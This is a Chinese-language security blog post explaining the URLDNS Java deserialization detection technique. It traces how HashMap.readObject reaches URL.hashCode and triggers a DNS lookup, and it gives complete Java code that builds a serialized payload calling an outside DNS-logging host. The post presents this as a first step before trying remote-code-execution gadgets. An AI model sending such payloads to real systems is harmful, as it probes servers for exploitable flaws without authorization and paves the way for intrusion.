通过HashMap的触发DNS检测的Java反序列化漏洞
我们常说的反序列化漏洞一般是指readObject()方法处触发的漏洞,而除此以外针对不同的序列化格式又会产生不同的出发点,比如说fastjson会自动运行setter,getter方法。之后又有各种RMI,JNDI姿势去执行命令。现在常见的黑盒检测Java反序列化方式就是执行命令API,比如用一个gadget去执行nslookup xxx 最终通过服务器记录去判断。
但这种方式可能出现的一种问题是,你选择测试的gadget服务器正好没这个jar包或者更新过了,但却有另一个存在漏洞的jar包。这时候单一的gadget构造出的执行命令payload就会漏报。所以为了解决这种问题这里分享一个通过HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。
HashMap readObject & URLStreamHandler hashCode
HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。
因为是研究反序列化问题,所以我们来看一下它的readObject方法
前面主要是使用的一些防止数据不一致的方法,我们可以忽视。主要看putVal时候key进入了hash方法,跟进看
1
2
3
4
5
|
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
|
这里直接调用了key的hashCode方法。那么我们现在就需要一个类hashCode可以执行某些东西即可。
很幸运的我们发现了URL类,它有一个有趣的特点,就是当执行hashCode方法时会触发当前URLStreamHandler的hashCode方法。
1
2
3
4
5
6
7
8
|
public synchronized int hashCode() {
if (hashCode != –1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
|
我们可以继续跟进
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == –1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
|
主要就是这句代码了
1
2
|
InetAddress addr = getHostAddress(u);
|

很简单,就是这里最后触发了DNS查询。
也就是说我们现在思路是通过hashmap放入一个URL的key然后会触发DNS查询。这里需要注意一个点,就是在URLStreamHandler的hashCode方法中首先进行了一个缓存判断即如果不等于-1会直接return。
1
2
3
|
if (hashCode != –1)
return hashCode;
|
因为在生成hashMap put时候会调用到hashCode方法,所以会缓存下来,即hashcode不为-1。所以为了让被接收者触发DNS查询,我们需要先通过反射把hashcode值改为-1,绕过缓存判断。
1
2
3
4
|
Field field = u.getClass().getDeclaredField(“hashCode”);
field.setAccessible(true);
field.set(u,–1);
|
最后生成的代码为
1
2
3
4
5
6
7
8
9
10
11
12
|
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(“object.obj”));
String url=“http://1us794.ceye.io”;
HashMap hashMap = new HashMap(); // HashMap that will contain the URL
URL u = new URL(url); // URL to use as the Key
hashMap.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Field field = u.getClass().getDeclaredField(“hashCode”);
field.setAccessible(true);
field.set(u,–1);
oos.writeObject(hashMap);
oos.flush();
oos.close();
|
测试代码
1
2
3
|
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(“object.obj”));
ois.readObject();
|
调用栈

可以看到触发成功

ysoserial已经有加入这个方式 具体可见:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
参考:
https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
原文地址:http://rui0.cn/archives/1135